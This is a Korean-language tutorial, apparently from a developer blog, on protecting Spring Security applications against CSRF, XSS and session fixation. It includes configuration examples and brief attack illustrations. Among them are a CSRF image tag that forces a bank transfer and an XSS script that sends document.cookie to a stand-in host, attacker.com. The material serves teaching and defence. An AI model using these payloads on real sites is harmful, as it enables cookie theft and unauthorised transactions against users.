사용자가 A 사이트에 로그인된 상태에서, 공격자가 만든 B 사이트에 접속하면 B 페이지의 스크립트가 A로 요청을 자동 전송합니다. 브라우저는 A 도메인의 쿠키를 함께 보내므로 서버는 정상 요청으로 인식합니다.
예시로, 로그인된 상태에서 아래 이미지 태그가 있는 페이지에 접속하면 송금 요청이 실행됩니다.
<img src="https://bank.com/transfer?to=attacker&amount=1000000">
Spring Security는 기본적으로 CSRF 보호가 활성화되어 있습니다. POST/PUT/DELETE/PATCH 요청에 CSRF 토큰을 요구합니다.
@Configuration
public class SecurityConfig {
@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
return http.build();
}
}
부가적인 방어 수단은 다음과 같습니다.
공격자가 사용자 입력으로 스크립트를 삽입하고, 다른 사용자가 해당 페이지를 열면 그 사용자 브라우저에서 스크립트가 실행됩니다.
<script>fetch('https://attacker.com?cookie=' + document.cookie)</script>
종류는 다음과 같이 나뉩니다.
th:text는 자동 이스케이프되지만, th:utext는 위험합니다http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'")
)
);
document.cookie로 접근하지 못하게 합니다공격자가 미리 발급받은 세션 ID를 피해자에게 강제로 사용하게 만든 뒤, 피해자가 로그인하면 그 세션 ID로 피해자 계정에 접근하는 방식입니다.
흐름은 다음과 같습니다.
1. 공격자가 서버에서 세션 ID ABC123을 발급받습니다
2. 피해자에게 ?JSESSIONID=ABC123 링크를 전송합니다
3. 피해자가 해당 세션으로 로그인합니다
4. 공격자가 ABC123으로 피해자 권한을 사용합니다
Spring Security는 기본적으로 로그인 성공 시 세션 ID를 새로 발급합니다.
http.sessionManagement(session -> session
.sessionFixation().migrateSession()
);
옵션은 다음과 같습니다.
none(): 세션을 유지합니다 (사용하면 안 됩니다)newSession(): 새 세션을 생성하되 기존 속성을 복사하지 않습니다migrateSession(): 새 세션을 생성하고 속성을 복사합니다 (기본값)changeSessionId(): Servlet 3.1+ API로 세션 ID만 변경합니다alg: none은 허용하지 않습니다